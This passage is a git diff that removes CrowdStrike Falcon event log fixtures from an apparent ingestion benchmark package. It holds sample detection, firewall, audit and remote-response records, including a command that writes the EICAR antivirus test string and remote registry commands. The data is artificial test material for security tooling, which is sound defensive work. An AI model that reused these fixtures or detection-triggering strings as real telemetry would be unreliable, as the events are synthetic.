-{"event":{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751533769000,"eventType":"EppDetectionSummaryEvent","offset":1962865,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log deleted file mode 100644 index 072f786304..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":294564,"eventType":"DetectionSummaryEvent","eventCreationTime":1582101000000,"version":"1.0"},"event":{"ProcessStartTime":1536846339,"ProcessEndTime":0,"ProcessId":38684386611,"ParentProcessId":38682494050,"ComputerName":"alice-laptop","UserName":"alice","DetectName":"Process Terminated","DetectDescription":"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.","Severity":4,"SeverityName":"High","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume1\\Windows","CommandLine":"C:\\Windows\\Explorer.EXE","SHA256String":"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a","MD5String":"ac4c51eb24aa95b77f705ab159189e24","MachineDomain":"CORP-DOMAIN","FalconHostLink":"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4","SensorId":"7c808b4c8878433287eea53d4a8c3268","DetectId":"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584","LocalIP":"192.168.12.51","MACAddress":"00-00-00-11-22-33","Tactic":"Malware","Technique":"Ransomware","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process killed.","PatternDispositionValue":16,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false}}}{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1824,"eventType":"IncidentSummaryEvent","eventCreationTime":1583295476766,"version":"1.0"},"event":{"IncidentStartTime":1583295228,"IncidentEndTime":1583295470,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b","State":"open","FineScore":1.2}}{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":22865,"eventType":"UserActivityAuditEvent","eventCreationTime":1593186952000,"version":"1.0"},"event":{"UserId":"Crowdstrike","UserIp":"","OperationName":"quarantined_file_update","ServiceName":"quarantined_files","AuditKeyValues":[{"Key":"quarantined_file_id","ValueString":"35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"},{"Key":"action_taken","ValueString":"quarantined"}],"UTCTimestamp":1593186952}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log deleted file mode 100644 index 82bef37a06..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70689,"eventType":"FirewallMatchEvent","eventCreationTime":1595248906000,"version":"1.0"},"event":{"DeviceId":"12345a1bc2d34fghi56jk7890lmno12p","CustomerId":"12345a1bc2d34fghi56jk7890lmno12p","Ipv":"ipv4","CommandLine":"nginx","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":false,"Monitor":true},"HostName":"TESTDEVICE01","ICMPCode":"","ICMPType":"","ImageFileName":"/usr/bin/nginx","LocalAddress":"10.10.10.10","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"206158879910","PolicyName":"PROD-FW-TESTSTATION-General","PolicyID":"12345a1bc2d34fghi56jk7890lmno12p","Protocol":"6","RemoteAddress":"216.160.83.56","RemotePort":"54952","RuleAction":"2","RuleDescription":"","RuleFamilyID":"fec73e96a1bf4481be582c3f89b234fa","RuleGroupName":"SMB Rules","RuleName":"Inbound SMB Block \u0026 Log Private","RuleId":"4877172638743447345","Status":"","Timestamp":"2020-07-20T12:41:44Z","TreeID":"158446832506666"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log deleted file mode 100644 index 921f2c64f8..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"3426316453426234","offset":2664264,"eventType":"IdentityProtectionEvent","eventCreationTime":1686891836581,"version":"1.0"},"event":{"IncidentType":"UNUSUAL_ENDPOINT_USE","IncidentDescription":"User seen coming from a location that deviates from their baseline.","Severity":1,"SeverityName":"INFO","StartTime":1686891836383,"EndTime":1686891836553,"IdentityProtectionIncidentId":"INC-123","UserName":"TESTUSER","EndpointName":"TESTHOSTNAME","EndpointIp":"89.160.20.112","Category":"Incidents","NumbersOfAlerts":1,"NumberOfCompromisedEntities":1,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/incidents/INC-123"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log deleted file mode 100644 index 2ab9066a1b..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"123123abcd","offset":2,"eventType":"IncidentSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"IncidentStartTime":1685844891,"IncidentEndTime":1685844892,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID","State":"open","FineScore":0.5,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:123:abc","HostID":"TESTHOSTID","LMHostIDs":["TESTHOSTID1","TESTHOSTID2"],"UserId":"first.last@company.com"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log deleted file mode 100644 index 138852e4d4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"12312312312312321","offset":2662765,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1686848064000,"version":"1.0"},"event":{"ContextTimeStamp":133221234560000000,"DetectId":"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged in to a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012","StartTime":123456789000000000,"EndTime":123456789000000000,"Severity":7,"Tactic":"Initial Access","Technique":"Valid Accounts","Objective":"Gain Access","SourceAccountDomain":"DOMAIN.COM","SourceAccountName":"johnb","SourceAccountObjectSid":"S-1-3-44-55555555-666666666-7777777777-88888","SourceEndpointAccountObjectGuid":"12345678-1234-1234-1234-123456789000","SourceEndpointAccountObjectSid":"S-1-3-44-55555555-666666666-7777777777-88888","SourceEndpointHostName":"pc01.domain.com","SourceEndpointIpAddress":"81.2.69.144","SourceEndpointSensorId":"12345678901234567890123456789012","PrecedingActivityTimeStamp":133154452345780000,"MostRecentActivityTimeStamp":133313215755670000,"ActivityId":"12345678-1234-1234-1234-123456789000","PatternId":51135}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log deleted file mode 100644 index f9676e2029..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"0123456789ABCDEFGHIJKLMNOPQRSTUV","offset":701283,"eventType":"MobileDetectionSummaryEvent","eventCreationTime":1649420269000,"version":"1.0"},"event":{"SensorId":"85ae98xxxxxxd9a8f2","MobileDetectionId":1310556238,"ComputerName":"TESTComputer","UserName":"TestUSER","ContextTimeStamp":1649061056,"DetectId":"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238","DetectName":"AppSideloadDetected","DetectDescription":"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ","Tactic":"Insecure security posture","TacticId":"CSTA0009","Technique":"Bad device settings","TechniqueId":"CST0024","Objective":"Falcon Detection Method","Severity":50,"FalconHostLink":"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV","MobileAppsDetails":[{"AppIdentifier":"com.facebook.katana","AndroidAppLabel":"Facebook","DexFileHashes":"abc456xxxxxxxxxxxxxxxxdef789","ImageFileName":"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk","AppInstallerInformation":"unknown","IsBeingDebugged":false,"AndroidAppVersionName":"323.0.0.46.119","IsContainerized":false}]}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log deleted file mode 100644 index af4c5409e0..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"1231231231231","offset":2664218,"eventType":"ReconNotificationSummaryEvent","eventCreationTime":1686889114000,"version":"1.0"},"event":{"NotificationId":"oifgdjgpoidfsjhpoihio","Highlights":["Some highlighed text \u0026lt;cs-highlight\u0026gt;test\u0026lt;/cs-highlight\u0026gt; \u0026lt;cs-highlight\u0026gt;gdsfgasd\u0026lt;/cs-highlight\u0026gt;.\n\nAs an Some more text"],"MatchedTimestamp":1686889114000,"RuleId":"123543-0cb1-4806-9ccd-a543123","RuleName":"TestRuleName","RuleTopic":"TestRuleTopic","RulePriority":"high","ItemId":"oigjfdsiughsiopudhfoiusadhfiouhipou==","ItemType":"post","ItemPostedTimestamp":1686873909000}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log deleted file mode 100644 index 238a949098..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log +++ /dev/null @@ -1,2 +0,0 @@ -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":1045,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1582830734000,"version":"1.0"},"event":{"SessionId":"12345a1bc2d34fghi56jk7890lmno12p","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","StartTimestamp":1582830734}} -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":1046,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1582830772000,"version":"1.0"},"event":{"SessionId":"12345a1bc2d34fghi56jk7890lmno12p","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","EndTimestamp":1582830772}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log deleted file mode 100644 index cbb3da3959..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log +++ /dev/null @@ -1,7 +0,0 @@ -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70689,"eventType":"FirewallMatchEvent","eventCreationTime":1595248906000,"version":"1.0"},"event":{"DeviceId":"718af202ab2c4ba5b6a5d10d39c0e0a5","CustomerId":"12345a1bc2d34fghi56jk7890lmno12p","Ipv":"ipv4","CommandLine":"","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":false,"Monitor":true},"HostName":"TESTDEVICE01","ICMPCode":"","ICMPType":"","ImageFileName":"","LocalAddress":"10.37.60.194","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"206158879910","PolicyName":"PROD-FW-Workstations-General","PolicyID":"74e7f1552a3a4d90a6d65578642c8584","Protocol":"6","RemoteAddress":"10.37.60.21","RemotePort":"54952","RuleAction":"2","RuleDescription":"","RuleFamilyID":"fec73e96a1bf4481be582c3f89b234fa","RuleGroupName":"SMB Rules","RuleName":"Inbound SMB Block \u0026 Log Private","RuleId":"4877172638743447345","Status":"","Timestamp":"2020-07-20T12:41:44Z","TreeID":""}} -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57181,"eventType":"IncidentSummaryEvent","eventCreationTime":1595005328414,"version":"1.0"},"event":{"IncidentStartTime":1595005316,"IncidentEndTime":1595005316,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54","State":"open","FineScore":0.1,"LateralMovement":0}} -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70509,"eventType":"AuthActivityAuditEvent","eventCreationTime":1595247970093,"version":"1.0"},"event":{"UserId":"first.last@company.com","UserIp":"67.43.156.15","OperationName":"saml2Assert","ServiceName":"Crowdstrike Authentication","Success":true,"UTCTimestamp":1595247970,"AuditKeyValues":[{"Key":"trace_id","ValueString":"b0b33836-555c-4e0e-a5ef-d368f6799f6b"},{"Key":"actor_user","ValueString":"first.last@company.com"},{"Key":"actor_user_uuid","ValueString":"123ab123-abc1-12a1-12a1-12a1ab12a1a1"},{"Key":"actor_cid","ValueString":"123456a1ab1a12abc12ab1234abcd12a"},{"Key":"target_user","ValueString":"first.last@company.com"}]}} -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70683,"eventType":"UserActivityAuditEvent","eventCreationTime":1595248885000,"version":"1.0"},"event":{"UserId":"Crowdstrike","UserIp":"","OperationName":"quarantined_file_update","ServiceName":"quarantined_files","AuditKeyValues":[{"Key":"quarantined_file_id","ValueString":"ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"},{"Key":"action_taken","ValueString":"quarantined"}],"UTCTimestamp":1595248885}} -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57217,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1595006093000,"version":"1.0"},"event":{"SessionId":"330633db-1cda-4355-b0d8-2c2edc91fe3e","HostnameField":"TESTDEVICE01","UserName":"first.last@company.com","StartTimestamp":1595006093}} -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57269,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1595006899000,"version":"1.0"},"event":{"SessionId":"330633db-1cda-4355-b0d8-2c2edc91fe3e","HostnameField":"TESTDEVICE01","UserName":"first.last@company.com","EndTimestamp":1595006899,"Commands":["cd \\Program Files (x86)\\Symantec","ls .","cd \\Program Files (x86)","ls .","reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default","reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```","reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default","restart","restart -Confirm"]}} -{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57047,"eventType":"DetectionSummaryEvent","eventCreationTime":1595002291000,"version":"1.0"},"event":{"ProcessStartTime":1595002290,"ProcessEndTime":1595002290,"ProcessId":663790158277,"ParentProcessId":627311656469,"ComputerName":"TESTDEVICE01","UserName":"First.last","DetectName":"NGAV","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious 